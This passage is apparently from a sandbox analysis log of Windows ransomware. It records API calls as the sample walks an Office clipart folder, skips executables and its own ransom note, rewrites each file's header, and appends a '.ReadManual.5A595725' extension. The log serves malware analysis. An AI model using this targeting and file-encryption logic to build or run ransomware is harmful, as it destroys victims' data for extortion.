lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.731] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.731] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb12) returned 0x2f0000 [0273.732] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.732] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39440033896) returned 1 [0273.732] CloseHandle (hObject=0x184) returned 1 [0273.732] SetSecurityInfo () returned 0x57 [0273.732] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.732] CloseHandle (hObject=0x194) returned 1 [0273.732] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0273.732] lstrcpyW (in: lpString1=0x6ab90a, lpString2="RE00006_.WMF" | out: lpString1="RE00006_.WMF") returned="RE00006_.WMF" [0273.732] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="RecoveryManual.html") returned -1 [0273.732] StrStrIW (lpFirst="RE00006_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.732] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.732] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.732] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" [0273.732] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ReadManual.5A595725" [0273.732] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ReadManual.5A595725") returned 87 [0273.732] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39440122311) returned 1 [0273.733] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf")) returned 0x20 [0273.740] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.740] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1772) returned 1 [0273.741] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ec, lpName=0x0) returned 0x184 [0273.741] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.741] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.748] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.749] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6ec) returned 0x2f0000 [0273.749] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.749] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39441747210) returned 1 [0273.749] CloseHandle (hObject=0x184) returned 1 [0273.749] SetSecurityInfo () returned 0x57 [0273.749] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.749] CloseHandle (hObject=0x194) returned 1 [0273.749] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c91c50, ftCreationTime.dwHighDateTime=0x1d6bde3, ftLastAccessTime.dwLowDateTime=0xf0c91c50, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0xf0c91c50, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0xae9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecoveryManual.html", cAlternateFileName="RECOVE~1.HTM")) returned 1 [0273.749] lstrcpyW (in: lpString1=0x6ab90a, lpString2="RecoveryManual.html" | out: lpString1="RecoveryManual.html") returned="RecoveryManual.html" [0273.749] lstrcmpiW (lpString1="RecoveryManual.html", lpString2="RecoveryManual.html") returned 0 [0273.749] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0273.749] lstrcpyW (in: lpString1=0x6ab90a, lpString2="RECYCLE.WMF" | out: lpString1="RECYCLE.WMF") returned="RECYCLE.WMF" [0273.749] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="RecoveryManual.html") returned 1 [0273.749] StrStrIW (lpFirst="RECYCLE.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.749] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.749] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.750] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.750] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.750] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" [0273.750] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ReadManual.5A595725" [0273.750] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.ReadManual.5A595725") returned 86 [0273.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39441845202) returned 1 [0273.750] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf")) returned 0x20 [0273.750] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.750] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3350) returned 1 [0273.750] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd16, lpName=0x0) returned 0x184 [0273.750] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0273.751] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.751] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.753] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.753] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd16) returned 0x2f0000 [0273.754] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.754] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39442235586) returned 1 [0273.754] CloseHandle (hObject=0x184) returned 1 [0273.754] SetSecurityInfo () returned 0x57 [0273.754] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.754] CloseHandle (hObject=0x194) returned 1 [0273.754] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1 [0273.754] lstrcpyW (in: lpString1=0x6ab90a, lpString2="ROAD_01.MID" | out: lpString1="ROAD_01.MID") returned="ROAD_01.MID" [0273.754] lstrcmpiW (lpString1="ROAD_01.MID", lpString2="RecoveryManual.html") returned 1 [0273.754] StrStrIW (lpFirst="ROAD_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.754] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0273.754] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0273.754] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0273.755] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" [0273.755] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ReadManual.5A595725" [0273.755] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.ReadManual.5A595725") returned 86 [0273.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39442345288) returned 1 [0273.755] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0273.756] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.756] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5983) returned 1 [0273.756] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175f, lpName=0x0) returned 0x184 [0273.756] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0273.757] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.757] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.758] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.759] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x175f) returned 0x2f0000 [0273.759] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.759] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39442754328) returned 1 [0273.759] CloseHandle (hObject=0x184) returned 1 [0273.759] SetSecurityInfo () returned 0x57 [0273.759] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.759] CloseHandle (hObject=0x194) returned 1 [0273.759] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1 [0273.760] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SAFRI_01.MID" | out: lpString1="SAFRI_01.MID") returned="SAFRI_01.MID" [0273.760] lstrcmpiW (lpString1="SAFRI_01.MID", lpString2="RecoveryManual.html") returned 1 [0273.760] StrStrIW (lpFirst="SAFRI_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.760] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0273.760] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0273.760] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0273.760] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0273.760] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0273.760] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0273.761] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0273.761] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0273.761] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0273.761] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" [0273.761] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ReadManual.5A595725" [0273.761] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.ReadManual.5A595725") returned 87 [0273.761] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39442947089) returned 1 [0273.761] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0273.761] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.762] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10122) returned 1 [0273.762] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x278a, lpName=0x0) returned 0x184 [0273.762] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.763] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.763] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.765] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.765] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x278a) returned 0x2f0000 [0273.765] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.765] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39443420562) returned 1 [0273.765] CloseHandle (hObject=0x184) returned 1 [0273.766] SetSecurityInfo () returned 0x57 [0273.766] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.766] CloseHandle (hObject=0x194) returned 1 [0273.766] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0273.766] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SCHOL_02.MID" | out: lpString1="SCHOL_02.MID") returned="SCHOL_02.MID" [0273.766] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="RecoveryManual.html") returned 1 [0273.766] StrStrIW (lpFirst="SCHOL_02.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.766] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0273.766] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0273.766] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0273.766] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" [0273.766] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ReadManual.5A595725" [0273.766] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ReadManual.5A595725") returned 87 [0273.766] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39443498844) returned 1 [0273.766] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0273.767] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.768] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5058) returned 1 [0273.768] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c2, lpName=0x0) returned 0x184 [0273.768] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.768] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.768] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.770] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.771] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c2) returned 0x2f0000 [0273.771] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.771] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39443966275) returned 1 [0273.771] CloseHandle (hObject=0x184) returned 1 [0273.771] SetSecurityInfo () returned 0x57 